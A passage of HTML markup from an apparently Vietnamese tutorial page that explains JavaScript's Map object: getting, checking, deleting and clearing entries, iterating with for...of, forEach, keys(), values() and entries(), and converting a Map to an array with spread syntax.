<code>key</code> tồn tại trong Map thì phương thức <code>map.get(key)</code> trả về <code>value</code> tương ứng, ngược lại thì trả về <code>undefined</code>.</p> <h2 id="lấy-số-lượng-phần-tử-trong-map" style="position:relative;"><a href="#l%E1%BA%A5y-s%E1%BB%91-l%C6%B0%E1%BB%A3ng-ph%E1%BA%A7n-t%E1%BB%AD-trong-map" aria-label="lấy số lượng phần tử trong map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy số lượng phần tử trong Map</h2> <p>Để lấy ra <strong>số lượng các phần tử</strong> của Map trong JavaScript, bạn sử dụng phương thức <code>map.size</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map8 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map8<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0 - mảng rỗng</span> map8<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map8<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2 - mảng có 2 phần tử</span></code></pre></div> <h2 id="kiểm-tra-phần-tử-tồn-tại-trong-map" style="position:relative;"><a href="#ki%E1%BB%83m-tra-ph%E1%BA%A7n-t%E1%BB%AD-t%E1%BB%93n-t%E1%BA%A1i-trong-map" aria-label="kiểm tra phần tử tồn tại trong map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra phần tử tồn tại trong Map</h2> <p>Để kiểm tra xem <strong>một phần tử đã tồn tại</strong> trong Map hay chưa - thực chất là kiểm tra xem một giá trị <code>key</code> đã tồn tại hay chưa, bạn có thể dùng phương thức <code>has</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">map<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu trong Map tồn tại <code>key</code> thì phương thức <code>map.has(key)</code> trả về <code>true</code>, ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map9 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map9<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map9<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map9<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map9<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - vì [2] !== [2]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map9<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <blockquote> <p>Bạn nhớ là Map sử dụng thuật toán <strong>SameValueZero</strong> để so sánh nhé!</p> </blockquote> <h2 id="xoá-một-phần-tử-trong-map" style="position:relative;"><a href="#xo%C3%A1-m%E1%BB%99t-ph%E1%BA%A7n-t%E1%BB%AD-trong-map" aria-label="xoá một phần tử trong map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá một phần tử trong Map</h2> <p>Để <strong>xóa một phần tử</strong> trong Map, bạn sử dụng phương thức <code>delete</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">map<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu trong Map tồn tại <code>key</code> thì phần tử ứng với <code>key</code> sẽ bị xóa khỏi Map. Phương thức <code>map.delete(key)</code> trả về <code>true</code> nếu <code>key</code> tồn tại, ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map10 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token string">"one"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"two"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"three"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map10<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(3) {"one" => 1, "two" => 2, "three" => 3}</span> <span class="token comment">// xóa phần tử với key là "two" - tồn tại</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map10<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span><span class="token string">"two"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// sau khi xóa, map còn lại 2 phần tử</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map10<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {"one" => 1, "three" => 3}</span></code></pre></div> <h2 id="xoá-tất-cả-phần-tử-trong-map" style="position:relative;"><a href="#xo%C3%A1-t%E1%BA%A5t-c%E1%BA%A3-ph%E1%BA%A7n-t%E1%BB%AD-trong-map" aria-label="xoá tất cả phần tử trong map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá tất cả phần tử trong Map</h2> <p>Phía trên là cách xóa <strong>một phần tử</strong> khỏi Map. Để xóa hết <strong>tất cả các phần tử</strong> khỏi Map, bạn sử dụng phương thức <code>clear</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map11 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map11<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(3) {"a" => 1, "b" => 2, "c" => 3}</span> <span class="token comment">// xóa hết các phần tử</span> map11<span class="token punctuation">.</span><span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// map trở thành empty</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map11<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(0) {}</span></code></pre></div> <h2 id="duyệt-qua-các-phần-tử-trong-map" style="position:relative;"><a href="#duy%E1%BB%87t-qua-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD-trong-map" aria-label="duyệt qua các phần tử trong map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Duyệt qua các phần tử trong Map</h2> <p>Sau đây là các cách để duyệt qua các phần tử của Map trong JavaScript.</p> <h3 id="sử-dụng-forof" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-forof" aria-label="sử dụng forof permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>for...of</code></h3> <p>Map là <a href="/iterable-la-gi-iterable-trong-javascript/">iterable object</a>. Do đó, bạn có thể sử dụng <code>for...of</code> để duyệt qua các phần tử của Map.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map12 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> item <span class="token keyword">of</span> map12<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * [1, "a"] * [2, "b"] * [3, "c"] */</span></code></pre></div> <h3 id="sử-dụng-phương-thức-foreach" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-foreach" aria-label="sử dụng phương thức foreach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>forEach</code></h3> <p>Bạn cũng có thể sử dụng <code>forEach</code> duyệt qua các phần tử của map như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map13 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map13<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value<span class="token punctuation">,</span> key<span class="token punctuation">,</span> map</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">,</span> key<span class="token punctuation">,</span> map<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * a 1 Map(3) {1 => "a", 2 => "b", 3 => "c"} * b 2 Map(3) {1 => "a", 2 => "b", 3 => "c"} * c 3 Map(3) {1 => "a", 2 => "b", 3 => "c"} */</span></code></pre></div> <p>Bạn chú ý <strong>hàm callback</strong>:</p> <ul> <li>Tham số đầu tiên là <code>value</code> ứng với phần tử đang duyệt.</li> <li>Tiếp theo mới là <code>key</code> của phần tử đang duyệt.</li> <li>Cuối cùng là <code>map</code> đang duyệt.</li> </ul> <p>Cú pháp này tương tự với của <a href="/javascript-foreach-la-cai-quai-gi/">forEach khi duyệt mảng</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value<span class="token punctuation">,</span> index<span class="token punctuation">,</span> arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="sử-dụng-phương-thức-keys-values-entries" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-keys-values-entries" aria-label="sử dụng phương thức keys values entries permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>keys()</code>, <code>values()</code>, <code>entries()</code></h3> <p>► Phương thức <code>map.keys()</code></p> <p>Trả về một iterable object chứa giá trị <code>key</code> của các phần tử theo thứ tự chèn vào.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map14 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> key <span class="token keyword">of</span> map14<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * 1 * b * 3 */</span></code></pre></div> <p>► Phương thức <code>map.values()</code> trả về một iterable object chứa giá trị <code>value</code> của các phần tử theo thứ tự chèn vào.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map14 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> value <span class="token keyword">of</span> map14<span class="token punctuation">.</span><span class="token function">values</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * a * 2 * c */</span></code></pre></div> <p>► Phương thức <code>map.entries()</code> trả về một iterable object mà mỗi phần tử tương ứng là một mảng <code>[key, value]</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map14 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> item <span class="token keyword">of</span> map14<span class="token punctuation">.</span><span class="token function">entries</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * [1, "a"] * ["b", 2] * [3, "c"] */</span></code></pre></div> <h2 id="chuyển-map-thành-array" style="position:relative;"><a href="#chuy%E1%BB%83n-map-th%C3%A0nh-array" aria-label="chuyển map thành array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển Map thành Array</h2> <p>Sau đây là một số cách chuyển map trong JavaScript thành array sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">cú pháp spread</a>.</p> <h3 id="chuyển-map-keys-thành-array" style="position:relative;"><a href="#chuy%E1%BB%83n-map-keys-th%C3%A0nh-array" aria-label="chuyển map keys thành array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển Map keys thành Array</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map15 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> keys <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>map15<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>keys<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, "b", 3]</span></code></pre></div> <h3 id="chuyển-map-values-thành-array" style="position:relative;"><a href="#chuy%E1%BB%83n-map-values-th%C3%A0nh-array" aria-label="chuyển map values thành array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển Map values thành Array</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map16 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> values <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>map16<span class="token punctuation">.</span><span class="token function">values</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>values<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["a", 2, "c"]</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" 